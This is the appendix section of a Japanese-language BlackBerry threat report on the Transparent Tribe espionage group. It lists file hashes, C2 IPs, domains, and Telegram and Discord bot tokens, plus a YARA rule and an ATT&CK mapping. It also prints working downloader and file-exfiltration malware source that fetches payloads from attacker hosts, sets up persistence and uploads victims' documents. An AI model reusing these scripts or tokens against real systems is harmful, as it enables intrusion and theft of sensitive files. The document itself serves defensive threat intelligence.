Meeting Notice

ダウンローダー(Aldndr.py)

32da4d6f26f08be430e57d3e893af9db3b838842026bf020d3a297275adf2d82

Best Desert Camp in Jaisalmer.zip

ZIP アーカイブ

320a792ff9efcdaf56bdc828d0b352221f3e3c0f89192e17648768aa9f51dff7

advisory toll fee for army personel

ダウンローダー(Aldndr.py)

26c28425acb142e84a3b2247e852ef1f4874e9222278c3054b5df9213f25318b

help-mod

Poseidon エージェント – Mythic

f516c70f9c52aa2ed7ed14e87435d9b13ef1f1b3a9ae9651b14afb935a359f63

Best Desert Camp in Jaisalmer

ダウンローダー(Aldndr.py)

51a372fee89f885741515fa6fdf0ebce860f98145c9883f2e3e35c0fe4432885

DSOP_Fund_Nomination_Form

ダウンローダー

d9f29a626857fa251393f056e454dfc02de53288ebe89a282bad38d03f614529

/root/.x86_64-linux-gnu/vmcoreinfo

Discord-C2 スパイ活動ツール

44c8d8590197cf47adfd59571a64cd8ccce69ca71e2033abb2f7cf5323e59b85

Proforma for items for indigenisation

ダウンローダー(Aldndr.py)

bc4ed2f3184404efa3693b9685b759d46a3d97e0a9dade44337358a6bb2812c3

Meeting_Notice .zip

ZIP アーカイブ

cc7ef97385fab6a0f91c78f75695feb88b813081fa1a242af7b0807c5f455339

libexec-kworker

Poseidon エージェント – Mythic

f0cc7335c65bdf25187120b3a0e4ffe101c8fa31349959fad55457b3134d8af3

libexec_pworker

Poseidon エージェント – Mythic

4a287fa02f75b953e941003cf7c2603e606de3e3a51a3923731ba38eef5532ae

Air HQ PR Policy.iso

ISO イメージ
参照資料

a811a2dea86dbf6ee9a288624de029be24158fa88f5a6c10acf5bf01ae159e36

Air HQ PR Policy.lnk

ショートカット LNK ファイル
参照資料

8de4300dc3b969d9e039a9b42ce4cb4e8a200046c14675b216cceaf945734e1f

.temp/.tmp.exe

Go 言語スティーラ
参照資料

999635f52114ca98fbfd5bf1cca9d6dc8030950baaa1a154619bd830238650f5

.temp/sample.pdf

PDF ルアー
参照資料

d8da224a59f8bb89577cd7d903e9a142197e85041fdc15c9981601351ac84cd5

SU-30_Aircraft_Procurement.zip

ZIP アーカイブ
参照資料

4fa0e396cda9578143ad90ff03702a3b9c796c657f3bdaaf851ea79cb46b86d7

SU-30 Aircraft Procurement.iso

ISO イメージ
参照資料

dab645ecb8b2e7722b140ffe1fd59373a899f01bc5d69570d60b8b26781c64fb

.temp/.tmp.exe

Go 言語スティーラ
参照資料

dbc76c5a5d46014a420fa9099816b2a6ec771cbb945e8ec8e6ef0ab64d54ef5f

Revised_NIC_Application.zip

ZIP アーカイブ

f9bc28d533a1114d94ac340aa134111a1277c858f559c8d1a8e70bd88010e836

revised telephone directory

ダウンローダー(Aldndr.py)

d0a6f7ab5a3607b5ff5cc633c3b10c68db46157fcaf048971cc3e4d7bf1261c0

Revised_NIC_Application

ダウンローダー(sample.py)

846a455ffcd39fa8cbe0f9baf3bb45af7a180f37c0f64bf5637a5c9cb583225b

libfile-basedir

Poseidon エージェント – Mythic

f124c9b25e7776f23f8407f08a121a503cb3e33ad2d91523e37ad9e97cbb0778

dconf-dirmngr

Poseidon エージェント – Mythic

d0cb0d96f137b98f9d4396e4e2f54b2ab8fb40c810fc7b776cc6baccb65d44b9

qml-gtk-rpc

Poseidon エージェント – Mythic

69c3a92757f79a0020cf1711cda4a724633d535f75bbef2bd74e07a902831d59

6dfe3eb1-sample

ISO イメージ
参照資料

4455ca4e12b5ff486c466897522536ad753cd459d0eb3bfb1747ffc79a2ce5dd

invitation-letter.lnk

ショートカット LNK ファイル
参照資料

0ac787366bb435c11bf55620b4ba671b710c6f8924712575a0e443abd9922e9f

.t/scholar.exe

HackBrowserData の Go 言語改変版
参照資料

64aff0e1f42f45458dcf3174b69d284d558f7dac24a902438e332e05d0d362ef

.t/invitation.pdf

PDF ルアー
参照資料

b1584b4e4f7dead1bc2dd64b8e377cf6edc6fdd14946308c38664b3a141aa5cc

ibus-media-pack

Poseidon エージェント – Mythic

c5c3aca628cfba97fd453aafd0d6cf38bef5346e2db731e843dac2743a44336c

apci-common

GLOBSHELL

fbb65a675deb4d1779ef526b39700122dbc98a554ea19551c4c157f4b7e04a47

apci-filter

GLOBSHELL

bf9f6248a2f2c756f0b9289d423c60a0d80714e9b2cbd1c5d24313588e12246b

certificate-bolt

PYSHELLFOX

9ec5979fc7cbafb3f3fcd3b22fd8e651e5c6ee0d734aefc9ed69c58042e2d7d6

dir-event-tools

GLOBSHELL

 

Web サービスネットワークインジケータ

C2

Python Telegram RAT C2(Nutika コンパイル)

hxxps://api[.]telegram[.]org/bot6549212762:AAHa5YMI6EmKK0s8iL29a0M08QtWRm004No/

Python Telegram RAT C2(Nutika コンパイル)

hxxps://api[.]telegram[.]org/bot6130630756:AAHdlLVVyWMY-N9II6uTtuQn07NdPsSauAo/

PDF ルアー

hxxps://drive[.]google[.]com/file/d/1VqHfF59wF8I7I7v63U5-Vqr6oM19sTbx/view?usp=sharing

PDF ルアー

hxxps://drive[.]google[.]com/file/d/18n37cWmFrmNL4GL7UIlCJPAGq1Roj8n5/view?usp=sharing

PDF ルアー

hxxps://drive[.]google[.]com /file/d/1I4FYl5hAZFr7EpKrZWxb9r-HPWM3pwN0/view?usp=sharing

Discord-C2 スパイ活動ツール(Go 言語コンパイル)

hxxps://discord[.]com/api/v9/channels/1185089754891571300

Guild 1172245798034079805

‘Bot MTE3MjI0NDI5NzQ3MTQ5NjIyMg.Gvi8oo.pQQR5W2bHjluCJqdheDOUTaKKlNrGN9S1WrKnE’

 

Transparent Tribe ネットワークインジケータ

warfarestudies[.]in

directorclaws[.]in

coordoffice[.]in

eoffice-sparrow[.]online

secy-org[.]in

publicinfo[.]in

admincoord[.]in

clawsindia[.]in

emailnic-tech[.]email

estbsec[.]in

esttsec[.]in

coordsec2[.]in

awesindia[.]online

Files[.]tpt123[.]com

Tpt123[.]com

infosec2[.]in

Certdehli[.]in

twff247[.]cloud

winp247[.]cloud

Zedcinema[.]com

Tensupports[.]com

Baseuploads[.]com

Apsdelhicantt[.]in

Esttsec[.]in

 

SHA256

名前

タイプ

C2

ASN

f6c5c6a5356e9e24dec0bc5e19b5182185283339aee313f1fc8988ec0e3c0e22

boss_preempt

Mythic

149[.]28[.]177[.]78:443, 149[.]28[.]177[.]78:80

AS-CHOOPA

5975d9a448e090ea31adc2018442740c66e5c1adf9206b830e4514ffc130fb15

bossload

Mythic

70[.]34[.]198[.]15:80, 70[.]34[.]198[.]15:7443

AS-CHOOPA

0dce569bd77fcf83bf6a2cd4da5165bca374347e5fb5f7f532c8d281c8382c3e

boss-gnu

Mythic

139[.]84[.]230[.]205:7443

AS-CHOOPA

0f0e7039700e1003ecd803616a28e563f885849d17508c7bfe958a2220b566d0

gnu-journal

Mythic

108[.]61[.]190[.]25:7443, 108[.]61[.]190[.]25:80

AS-CHOOPA

dca41db6ec1c41fd6b529756aeb485d61962d0485791cca84d27a03a14ab1be1

k_swap

Mythic

158[.]247[.]231[.]22:7443, 158[.]247[.]231[.]22:80

AS-CHOOPA

260652503af6002cfd990b3220fe3c398ccab8760e10e2e2565e5205d0dc02ea

z_swap

Mythic

64[.]176[.]179[.]222:80, 64[.]176[.]179[.]222:7443

AS-CHOOPA

185254efe497aed539fe0d95ca40451985b8fa60a54a707760bfe5c53cce56d9

bosstype

Mythic

70[.]34[.]195[.]186:443, 70[.]34[.]195[.]186:7443

AS-CHOOPA

cc53c74a8be261fab1f231e20d127cb815787ff3437daff8162855130f8ff271

Bosshelp

Mythic

70[.]34[.]214[.]252:7443

AS-CHOOPA

9bb990a54460437c14be4cdd25ab5f8027a49c4e8e8b83445bd57f06ad1e1512

bossstart

Mythic

70[.]34[.]210[.]178:7443

AS-CHOOPA

78480e7c9273a66498d0514ca4e959a2c002f8f5578c8ec9153bb83cbcc2b206

cinnamon-gui

Mythic

139[.]84[.]227[.]243:7443

AS-CHOOPA

8878675e78fddfd8ae7ce556001d4c1ba858f8fa3a70be96887f7ad465473496

gnu-events

Mythic

64[.]176[.]40[.]100:7443, 64[.]176[.]40[.]100:80

AS-CHOOPA

7158dafa56c694de8ae4a1969cc8575ddc4374bb179f58769a23ccb70186d072

ziputils-help

Mythic

64[.]176[.]40[.]100:7443, 64[.]176[.]40[.]100:80

AS-CHOOPA

91a1e60d1bfc4a4466b50b1c56736e7cd3c66ec80d52aa9a4adf5f8a3bbe29b7

bossconfig

Mythic

70[.]34[.]213[.]48:7443

AS-CHOOPA

facf4ac6c1fa7910e5cae745e1464e9ab20f8b824c257ddb1389e2a33bce898f

bosscache

Mythic

70[.]34[.]245[.]253:7443

AS-CHOOPA

2dd9dfd6a3e07d8328066b754f0cd5ce16529b4e0782d2a9257faf68abab92b9

clamav_base

Mythic

64[.]176[.]168[.]231:7443

AS-CHOOPA

60fbf6840c45017681761b908ded2d3eff5c31a22161cee8f0df20080d483717

n/a

Mythic

216[.]238[.]77[.]195:80, 216[.]238[.]77[.]195:7443, 216[.]238[.]77[.]195:443

AS-CHOOPA

5465015abd3dcbaac1fa56666d09df15a35402d0aa5a5d3988b681c88101d826

notification-update

Mythic

149[.]248[.]51[.]25:80, 149[.]248[.]51[.]25:7443

AS-CHOOPA

26c28425acb142e84a3b2247e852ef1f4874e9222278c3054b5df9213f25318b

help-mod

Mythic

216[.]238[.]83[.]145:80, 216[.]238[.]83[.]145:7443

AS-CHOOPA

cc7ef97385fab6a0f91c78f75695feb88b813081fa1a242af7b0807c5f455339

libexec-kworker

Mythic

107[.]191[.]62[.]175:7443, 107[.]191[.]62[.]175:80

AS-CHOOPA

f0cc7335c65bdf25187120b3a0e4ffe101c8fa31349959fad55457b3134d8af3

libexec_pworker

Mythic

64[.]176[.]40[.]100:7443, 64[.]176[.]40[.]100:80

AS-CHOOPA

846a455ffcd39fa8cbe0f9baf3bb45af7a180f37c0f64bf5637a5c9cb583225b

libfile-basedir

Mythic

38[.]54[.]63[.]8:7443

Kaopu Cloud HK Limited

f124c9b25e7776f23f8407f08a121a503cb3e33ad2d91523e37ad9e97cbb0778

dconf-dirmngr

Mythic

38[.]60[.]249[.]75:7443

Kaopu Cloud HK Limited

d0cb0d96f137b98f9d4396e4e2f54b2ab8fb40c810fc7b776cc6baccb65d44b9

qml-gtk-rpc

Mythic

38[.]60[.]216[.]65:7443

Kaopu Cloud HK Limited

b1584b4e4f7dead1bc2dd64b8e377cf6edc6fdd14946308c38664b3a141aa5cc

ibus-media-pack

Mythic

38[.]54[.]59[.]79:7443

Kaopu Cloud HK Limited

99bd4285e38413c3a961d70cfa6c8b5f8e4ae3b4c559af1d9f213e34d3b56976

Silverlining.sh

Silver

45[.]148[.]120[.]192

Phanes Networks B.V.


付録 3 – 適用される対策

YARA ルール

rule targeted_TransparentTribe_Discord_Espionage_Tool_unpacked : golang discord c2 espionage tool unpacked
{
    meta:
        description = "Rule to detect Transparent Tribes unpacked golang discord-c2 espionage tool"
        author = "BlackBerry"
        version = "1.0"
        last_modified = "2024-05-17"
        hash1_sha256 = "dc923cf31740858e6c54a1ff84fcb61e815a42d7177d0b067649f64d3fae56f6"

    strings:
        $s1 = "discord-c2" ascii
        $s2 = "kbinani/screenshot" ascii
        $s3 = "firefox profile" ascii nocase
        $s4 = "parent.lock"
        $s5 = "zip" ascii
        $s6 = "*.doc*.pdf*.xls*.ppt*.jpg*.zip*.rar*.tar*.iso*.csv*.sql*.odt*.ods" ascii
        $s7 = "@reboot /bin/bash -c" ascii
        $s8 = "oshi.at" ascii
        $s9 = "curl"
        $s10 = "transfer.sh" ascii
        $s11 = "--upload-file"
        $s12 = "golang"

    condition:
        (uint16(0) == 0x457f or uint16(0) == 0x5a4d) and all of ($s*)
}


付録 4 – 詳細な MITRE ATT&CK® マッピング

戦術

技法

コンテキスト

リソース開発

機能の取得:ツール T1588.002

Transparent Tribe は、Go-Stealer や HackBrowserData など、多数のオープンソースツールを取得して独自のニーズに適合させています。

初期アクセス

フィッシング:スピアフィッシングの添付ファイル T1566.001

Transparent Tribe は、スピアフィッシング技法を利用して最初のペイロードを配信します。

初期アクセス

フィッシング:スピアフィッシングのリンク T1566.002

Transparent Tribe は、被害者の初期の侵害を目的として悪意のあるリンクを送信しています。ZIP アーカイブの配信に oshi[.]at が使用されました。

実行

ユーザーによる実行:悪意あるファイル T1204.002

Transparent Tribe は、ユーザーが悪意あるファイルを実行することで攻撃チェーンを開始します。

実行

ユーザーによる実行:悪意あるリンク T1204.001

Transparent Tribe は、ユーザーが悪意あるリンクを実行することで攻撃チェーンを開始します。

実行

コマンドとスクリプトインタープリター:Unix シェル T1059.004

脅威グループは難読化されたシェルスクリプトを利用しました。

実行

コマンドとスクリプトインタープリター: Python T1059.006

Transparent Tribe は、Python ベースのダウンローダースクリプト、ELF および PE ファイル形式にコンパイルされた GLOBSHELL および PYSHELLFOX マルウェアを利用します。

永続化

スケジュール済みタスク / ジョブ: Cron T1053.003

Transparent Tribe は、被害者のマシン上で永続化するために、さまざまなスクリプトやツールを cron ジョブとしてインストールします。

永続化

起動時とログオン時の Autostart の実行:XDG 自動起動エントリ T1547.013

Transparent Tribe のダウンローダースクリプト aldndr.py は、悪意ある ELF バイナリの .desktop ファイルを作成し、それを自動起動ディレクトリ(~/.config/autostart)に配置して、ユーザーログイン時に実行します。

収集

スクリーンキャプチャ:T1113

Transparent Tribe の改変された Discord-C2 ペイロードには、侵害したホストのスクリーンショットをキャプチャする機能があります。

探索

システム情報の探索:T1082

Transparent Tribe は基本的なシステム情報を収集して C2 に送り返します。

探索

ブラウザ情報の探索:T1217

Transparent Tribe の Discord-C2 マルウェアは、現在のユーザーの Firefox プロファイルを圧縮して抽出します。

Transparent Tribe の PyShellFox は、Firefox のセッションバックアップファイル「default*/sessionstore-backups/recovery.js*」を探索し、ファイルに「email.gov.in/#」、「inbox」、または「web.whatsapp.com」の開いているタブがある場合は、そのファイルを C2 に流出させます。

永続化

起動時とログオン時の Autostart の実行:レジストリ Run キー/スタートアップフォルダ T1547.001

Transparent Tribe は、起動時に実行する「Win_service.exe」および「win_hta.exe」を指す Run キーレジストリエントリを作成します。

防御回避

難読化されたファイルまたは情報:コマンドの難読化 T1027.010

 

Transparent Tribe は、Base64 を使用して実行されたコマンドを難読化しました。

防御回避

アーティファクトの隠蔽:隠れたファイルとディレクトリ T1564.001

Transparent Tribe は、~/.config/autostart に非表示の .desktop ファイルを作成します。

防御回避

ファイルや情報の難読化解除/デコード:T1140

Transparent Tribe は、Python ライブラリ python-lz4(lz4.block)を使用して Firefox ファイル recovery.js を解凍します。

コマンドアンドコントロール

アプリケーション層プロトコル:Web プロトコル T1071.001

Transparent Tribe は HTTP を使用して C2 サーバーと通信します。


付録 5 – ELF ダウンローダースクリプト

import os

user = os.getlogin()
os.system('xdg-open hxxps[:]//drive.google[.]com/file/d/1fbfU_bm4VMo3YH8WSpheWt31Qjd9iU2s/view?usp=drive_link')
b = f"\n[Desktop Entry]\nType=Application\nName=bssd.desktop\nExec=/home/{user}/.config/bssd\nIcon=pdf\nComment=important application\nX-GNOME-Autostart-enabled=true\nName[en_US]=bssd.desktop\n\n"
os.system('mkdir -p ~/.config/autostart')
os.system(f"printf '{b}'>>~/.config/autostart/bssd.desktop")
os.system('chmod +x ~/.config/autostart/bssd.desktop')
c = f"\n[Desktop Entry]\nType=Application\nName=bssu.desktop\nExec=/home/{user}/.config/bssu\nIcon=pdf\nComment=important application\nX-GNOME-Autostart-enabled=true\nName[en_US]=bssu.desktop\n"
os.system(f"printf '{c}'>> ~/.config/autostart/bssu.desktop")
os.system('chmod +x ~/.config/autostart/bssu.desktop')
d = f"\n[Desktop Entry]\nType=Application\nName=bssm.desktop\nExec=/home/{user}/.config/bssm\nIcon=pdf\nComment=important application\nX-GNOME-Autostart-enabled=true\nName[en_US]=bssm.desktop\n\n"
os.system(f"printf '{d}'>>~/.config/autostart/bssm.desktop")
os.system('chmod +x ~/.config/autostart/bssm.desktop')
os.system('mkdir -p ~/.config')
os.system('rm -f ~/.config/bssd || true')
os.system('wget hxxps[:]//files.tpt123[.]com/bssd -O ~/.config/bssd')
os.system('chmod +x ~/.config/bssd')
os.system('wget hxxps[:]//files.tpt123[.]com/bsso -O ~/.config/bsso')
os.system('chmod +x ~/.config/bsso')
os.system('wget hxxps[:]//files.tpt123[.]com/bssu -O ~/.config/bssu')
os.system('chmod +x ~/.config/bssu')
os.system('wget hxxps[:]//files.tpt123[.]com/ -O ~/.config/bssm')
os.system('chmod +x ~/.config/bssm')
os.system('nohup ~/.config/bssd &')
os.system('nohup ~/.config/bsso &')
os.system('nohup ~/.config/bssu &')
os.system('nohup ~/.config/bssm &')


付録 6 – Windows ダウンローダースクリプト

# Embedded file name: afd.py
from pyshortcuts import make_shortcut
import os, urllib.request, getpass

username = getpass.getuser()
import shutil, webbrowser, subprocess
from atost import *
from atostone import *
import wget, ssl
context = ssl._create_unverified_context
furl = 'hxxps[:]//www[.]twff247[.]cloud/win_service.zip'
furl2 = ‘hxxps[:]//www[.]twff247[.]cloud/win_hta.zip'
os.system(f'if not exist "C:\\Users\\{username}\\AppData\\Roaming\\drive" mkdir  "C:\\Users\\{username}\\AppData\\Roaming\\drive"')
dest1 = f"C:\\Users\\{username}\\AppData\\Roaming\\drive\\win_service.zip"
dest2 = f"C:\\Users\\{username}\\AppData\\Roaming\\drive\\win_hta.zip"
if os.path.exists(dest1):
    os.remove(dest1)
if os.path.exists(dest2):
    os.remove(dest2)
wget.download(furl, dest1)
wget.download(furl2, dest2)
extract_dir = f"C:\\Users\\{username}\\AppData\\Roaming\\drive"
shutil.unpack_archive(dest1, extract_dir)
shutil.unpack_archive(dest2, extract_dir)
scfile = f"C:\\Users\\{username}\\AppData\\Roaming\\drive\\win_service.exe"
scfile1 = f"C:\\Users\\{username}\\AppData\\Roaming\\drive\\win_hta.exe"
subprocess.Popen([scfile1], shell=True)
set_autostart_registry('win_service', scfile)
set_autostart_registry1('win_hta', scfile1)


付録 7 – Windows GLOBSHELL スクリプト

# Embedded file name: win_hta.py
import os, string, glob, socket, urllib.request, requests
from datetime import datetime
import time
user = os.getlogin()
myhost = socket.gethostname()
eip = urllib.request.urlopen('https://ident.me').read().decode('utf8')
now = datetime.now()
current_time = now.strftime('%H:%M:%S')
while True:
    try:
        if requests.get('https://google.com').ok:
            break
    except:
        time.sleep(2)

af = []
drives = [chr(x) + ':' for x in range(65, 91) if os.path.exists(chr(x) + ':')]
for drive in drives:
    try:
        allfiles = glob.glob(f"{drive}\\**\\*.zip", recursive=True)
        allfiles += glob.glob(f"{drive}\\**\\*.pdf", recursive=True)
        allfiles += glob.glob(f"{drive}\\**\\*.doc", recursive=True)
        allfiles += glob.glob(f" {drive}\\**\\*.docx", recursive=True)
        allfiles += glob.glob(f"{drive}\\**\\*.ppt", recursive=True)
        allfiles += glob.glob(f"{drive}\\**\\*.pptx", recursive=True)
        allfiles += glob.glob(f"{drive}\\**\\*.xls", recursive=True)
        allfiles += glob.glob(f"{drive}\\**\\*.xlsx", recursive=True)
        allfiles += glob.glob(f"{drive}\\**\\*.jpg", recursive=True)
        allfiles += glob.glob(f"{drive}\\**\\*.jpeg", recursive=True)
        af.extend(allfiles)
    except:
        print('some file is missing')
    else:
        url = 'hxxps[:]//winp247[.]cloud/mffr/trg/fu.php'
        for f in af:
            try:
                files = {'testfile': open(f, 'rb')}
                data = {'uname': 'user', 'host': 'myhost', 'eip': 'eip', 'ct': 'current_time'}
                r = requests.post(url, files=files, params=data)
                print(r.status_code)
            except:
                pass

The BlackBerry Research and Intelligence Team

About The BlackBerry Research and Intelligence Team

BlackBerry の Research and Intelligence Team は、新たに生じている脅威と持続的な脅威を検証し、セキュリティ担当者とその所属企業のために、インテリジェンス解析を提供しています。